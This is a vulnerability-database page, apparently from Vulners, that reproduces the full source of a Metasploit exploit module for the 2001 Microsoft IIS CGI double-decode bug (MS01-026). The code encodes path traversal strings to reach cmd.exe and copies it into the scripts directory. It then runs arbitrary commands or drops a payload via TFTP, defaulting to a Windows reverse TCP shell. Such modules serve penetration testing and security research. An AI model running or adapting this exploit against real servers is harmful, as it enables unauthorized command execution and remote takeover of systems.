Lucene search
K

MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution

🗓️ 15 Jul 2011 15:33:35Reported by jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 63 Views

MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution by jduc

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
        'Description' => %q{
          This module will execute an arbitrary payload on a Microsoft IIS installation
          that is vulnerable to the CGI double-decode vulnerability of 2001.

          This module has been tested successfully on:

          Windows 2000 Professional (SP0) (EN);
          Windows 2000 Professional (SP1) (AR);
          Windows 2000 Professional (SP1) (CZ);
          Windows 2000 Server (SP0) (FR);
          Windows 2000 Server (SP1) (EN); and
          Windows 2000 Server (SP1) (SE).

          Note: This module will leave a Metasploit payload exe in the IIS scripts directory.
        },
        'Author' => [ 'jduck' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2001-0333' ],
          [ 'OSVDB', '556' ],
          [ 'BID', '2708' ],
          [ 'MSB', 'MS01-026' ],
          [ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
        ],
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows (Dropper)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86],
              'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp' },
              'Type' => :win_dropper
            }
          ],
          [
            'Windows (Command)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' },
              'Type' => :win_command
            }
          ]
        ],
        'CmdStagerFlavor' => 'tftp',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2001-05-15'
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('WINDIR', [ false, 'The Windows directory name of the target host', nil ]),
        OptInt.new('DEPTH', [ true, 'Traversal depth to reach the drive root', 2 ])
      ]
    )

    self.needs_cleanup = true
  end

  def dotdotslash
    [
      '..%255c',
      '..%%35c',
      '..%%35%63',
      '..%25%35%63',
      '.%252e/',
      '%252e./',
      '%%32%65./',
      '.%%32%65/',
      '.%25%32%65/',
      '%25%32%65./'
    ].sample
  end

  # Detect the correct Windows directory name.
  # Unfortunately, the IIS scripts directory must
  # be located on the same drive as %SystemRoot%.
  def detect_windows_directory
    win_dirs = %w[winnt windows]
    matches = [
      'Directory of',
      '\\inetpub\\',
      "\\scripts\r\n"
    ]

    win_dirs.each do |dir|
      res = execute_command('dir', windir: dir)
      next unless res
      next unless res.code == 200
      next unless res.body

      matches.each do |m|
        return dir if res.body.to_s.include?(m)
      end
    end

    nil
  end

  def check
    win_dir = detect_windows_directory
    win_dir ? CheckCode::Vulnerable("Found Windows directory name: #{win_dir}") : CheckCode::Safe
  end

  def execute_command(cmd, opts = {})
    # Don't run the start command...
    # We'll execute the payload via IIS later.
    # Using the "start" method doesn't seem to make IIS very happy :(
    return if cmd.start_with?('start') && cmd.include?('.exe')

    vprint_status("Executing command: #{cmd}")
    if opts[:cgifname]
      cmd_path = opts[:cgifname]
    else
      cmd_path = ''
      datastore['DEPTH'].times { cmd_path << dotdotslash }
      cmd_path << (opts[:windir] || @win_dir)
      cmd_path << '/system32/cmd.exe'
    end
    uri = "/scripts/#{cmd_path}?/x+/c+#{Rex::Text.uri_encode(cmd)}"
    send_request_cgi({ 'uri' => uri }, 20)
  end

  def copy_cmd_exe_to_scripts_directory
    fname = "#{rand_text_alphanumeric(4..7)}.exe"
    print_status("Copying \"\\#{@win_dir}\\system32\\cmd.exe\" to the IIS scripts directory as \"#{fname}\"...")
    res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{fname}")
    fail_with(Failure::Unknown, 'No reply from server') unless res
    fname
  end

  def exploit
    @win_dir = datastore['WINDIR'] || detect_windows_directory

    fail_with(Failure::NotVulnerable, 'Unable to detect the target host Windows directory (maybe not vulnerable)!') unless @win_dir

    print_status("Using Windows directory \"#{@win_dir}\"")

    @cmd_exe_fname = copy_cmd_exe_to_scripts_directory

    case target['Type']
    when :win_command
      res = execute_command(payload.encoded, cgifname: @cmd_exe_fname)

      if res && res.body
        cmd_res = res.code == 200 ? res.body : res.body.to_s.scan(%r{<pre>(.*?)</pre>}m).flatten.first.to_s
        if cmd_res.strip.blank?
          print_status('Command returned no output')
        else
          print_good('Command output:')
          print_line(cmd_res)
        end
      else
        print_error('No reply')
      end
    when :win_dropper
      tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
      execute_cmdstager(
        temp: '.',
        linemax: 1_400,
        cgifname: @cmd_exe_fname,
        tftphost: tftphost,
        # Force noconcat so we can skip the "start" command in execute_command method
        noconcat: true,
        # We can't delete the payload while it is running, so don't try
        nodelete: true
      )

      exe_payload = stager_instance.payload_exe
      register_file_for_cleanup(exe_payload)

      print_status("Triggering payload \"#{exe_payload}\" via a direct request...")
      send_request_cgi({ 'uri' => "/scripts/#{exe_payload}" }, 1)
    end
  end

  # Remove the copied cmd.exe from the IIS scripts directory
  def cleanup
    execute_command("del #{@cmd_exe_fname}") if @cmd_exe_fname
  ensure
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation